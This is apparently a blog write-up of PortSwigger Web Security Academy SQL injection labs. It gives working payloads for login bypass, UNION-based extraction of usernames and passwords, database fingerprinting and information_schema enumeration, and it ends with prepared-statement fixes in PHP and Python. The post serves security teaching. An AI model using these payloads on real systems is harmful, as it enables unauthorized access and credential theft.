July 21, 2026
Understanding SQL Injection: Bypasses, UNION Attacks, and Remediation
A practical walkthrough of breaking vulnerable queries, mapping database schemas, and securing application code with prepared statements.

By Bharat Kumar Grover
6 min read
SQL Injection (SQLi) remains one of the most critical vulnerabilities in web applications today. Despite being decades old, it routinely tops the OWASP Top 10.
In this post I worked through the PortSwigger Web Security Academy labs on SQLi, going from basic login bypasses to full schema extraction, and I'm writing up what I learned at each step — including how to permanently kill these vulnerabilities with parameterized queries.
All examples and lab scenarios below are from the PortSwigger Web Security Academy.
Phase 1: Authentication Bypass — The Basics
I started with the simplest case: a login form. Most apps build their query by dropping your input straight into a string, so the first thing I wanted to know was whether the app trusted that input at all.
Breaking a filter first
Before touching the login form, I poked at a product filter — a shopping page that builds its query off a URL parameter:
https://target.com/filter?category=Giftshttps://target.com/filter?category=GiftsThe underlying query was something like:
SELECT * FROM products WHERE category = 'Gifts' AND released = 1;SELECT * FROM products WHERE category = 'Gifts' AND released = 1;I changed the parameter to Gifts' OR 1=1--, which turns the query into:
SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1;SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1;Since 1=1 is always true, the OR short-circuits the whole WHERE clause — and the released = 1 check gets commented out entirely by the --. The result: the page returned everything, including unreleased inventory that was never supposed to be visible.
Then the login form
That confirmed the app wasn't sanitizing input, so I moved to the login page, where the query looked like:
SELECT * FROM users WHERE username = 'USER_INPUT' AND password = 'USER_INPUT';SELECT * FROM users WHERE username = 'USER_INPUT' AND password = 'USER_INPUT';I entered administrator'-- as the username and left the password field alone. That turns the query into:
SELECT * FROM users WHERE username = 'administrator'--' AND password = '...';SELECT * FROM users WHERE username = 'administrator'--' AND password = '...';The single quote closes out the string early, and -- comments out everything after it — including the password check. The database only ever evaluates username = 'administrator', and I'm logged in without ever knowing the password.
Phase 2: UNION-Based SQL Injection — Extracting Data
Once I had login bypass working, the next question was: what if the app doesn't just let me in, but actually reflects data back on the page? That's where UNION-based injection comes in — instead of manipulating logic, I'm now appending a second query onto the original and getting the database to hand me its results directly in the response.
Two conditions have to hold for this to work: my injected query needs to return the same number of columns as the original, and those columns need to be type-compatible (mainly, I need string columns to smuggle text through).
Finding the column count
I didn't know how many columns the original query selected, so I started probing with ORDER BY, incrementing the number until it broke:
' ORDER BY 1-- → works
' ORDER BY 2-- → works
' ORDER BY N-- → error' ORDER BY 1-- → works
' ORDER BY 2-- → works
' ORDER BY N-- → errorThe point where it errors is the tell — I'm asking the database to sort by a column that doesn't exist, so it breaks. Whatever number I land on right before the error is my column count. (You can get the same answer with UNION SELECT NULL, NULL, ...--, adding one NULL at a time — if it succeeds, the column count matches; NULL sidesteps type-mismatch errors since it satisfies any type.)
Finding which columns take strings
Knowing the count isn't enough — I also need to know which column position will accept text, since that's where I'll smuggle out usernames and passwords. So I tested each position in turn, swapping one NULL at a time for a string literal:
' UNION SELECT 'a', NULL, NULL-- → test column 1
' UNION SELECT NULL, 'a', NULL-- → test column 2' UNION SELECT 'a', NULL, NULL-- → test column 1
' UNION SELECT NULL, 'a', NULL-- → test column 2Whichever position doesn't error is a string-compatible column — and that's my exfiltration point.
Pulling the data
With the column count and type confirmed, I pointed the second half of the UNION at the users table instead of products. Since the app only displayed one visible field, I concatenated username and password into that single string-compatible slot:
-- PostgreSQL / Oracle
' UNION SELECT NULL, username || '~' || password FROM users--
-- MySQL
' UNION SELECT NULL, CONCAT(username, '~', password) FROM users---- PostgreSQL / Oracle
' UNION SELECT NULL, username || '~' || password FROM users--
-- MySQL
' UNION SELECT NULL, CONCAT(username, '~', password) FROM users--The ~ is just a separator so I can split the two values apart once they render on the page. And that's it — the app is now printing credentials it was never supposed to show me, because it trusts that anything coming back from the query is safe to display.
Phase 3: Database & Schema Enumeration — Mapping the Target
Extracting from users worked because I already knew the table and column names existed. In a real engagement I wouldn't have that luxury — so the next step was figuring out what I was actually attacking.
Fingerprinting the engine
First question: which database am I even talking to? Different engines expose their version through different calls, so I tried each in turn:
-- PostgreSQL / MySQL
' UNION SELECT @@version, NULL--
-- Oracle
' UNION SELECT banner, NULL FROM v$version--
-- SQLite
' UNION SELECT sqlite_version(), NULL---- PostgreSQL / MySQL
' UNION SELECT @@version, NULL--
-- Oracle
' UNION SELECT banner, NULL FROM v$version--
-- SQLite
' UNION SELECT sqlite_version(), NULL--Whichever one returned a clean version string instead of an error told me what I was dealing with — and from there I knew which syntax quirks to expect for the rest of the attack (Oracle's insistence on a FROM clause being the annoying one).
Walking the information schema
With the engine confirmed, I turned to INFORMATION_SCHEMA, which most non-Oracle databases expose as a built-in map of their own structure. First, list every table:
' UNION SELECT table_name, NULL FROM information_schema.tables--' UNION SELECT table_name, NULL FROM information_schema.tables--That gave me a list of tables I had no prior knowledge of. Once one looked interesting, I asked for its columns specifically, using whatever table name actually turned up:
' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name = '<table_name_from_previous_step>'--' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name = '<table_name_from_previous_step>'--For Oracle targets, the equivalent path is all_tables and all_tab_columns, queried off dual instead of information_schema. Either way, by this point I've gone from "I can log in as admin" to "I have a full map of the schema" — table names, column names, all without ever seeing the source code.
Phase 4: Remediation — Fixing It for Good
Everything up to this point worked because of one root cause: the application never separated what the query does from what the user typed. Every payload above relied on the database treating my input as part of the command itself.
The fix isn't cleverer sanitization — it's structural. Parameterized queries force the database to lock in the query's shape before any user input arrives, so whatever I type gets bound as a literal value, never as executable SQL.
In PHP, that's the difference between this:
// vulnerable
$sql = "SELECT * FROM users WHERE username = '" . $_POST['username'] . "'";
$result = $db->query($sql);// vulnerable
$sql = "SELECT * FROM users WHERE username = '" . $_POST['username'] . "'";
$result = $db->query($sql);and this:
// safe
$stmt = $db->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$_POST['username']]);
$user = $stmt->fetch();// safe
$stmt = $db->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$_POST['username']]);
$user = $stmt->fetch();Same shape in Python — f-string concatenation is the trap, tuple parameters are the fix:
# vulnerable
cursor.execute(f"SELECT * FROM products WHERE category = '{user_input}'")
# safe
cursor.execute("SELECT * FROM products WHERE category = %s", (user_input,))# vulnerable
cursor.execute(f"SELECT * FROM products WHERE category = '{user_input}'")
# safe
cursor.execute("SELECT * FROM products WHERE category = %s", (user_input,))Beyond parameterization, a couple things round out the defense:
- Parameterized queries / ORMs — the primary defense, covered above.
- Allow-listing input — for the rare cases that can't be parameterized, like a dynamic
ORDER BYcolumn. - Principle of least privilege — running the database account under restricted permissions, so even a successful injection can't pivot into something worse.
Every technique in this post — the login bypass, the UNION extraction, the schema walk — exists because somewhere, user input and query logic got mixed together. Keep them separate, and none of it works anymore.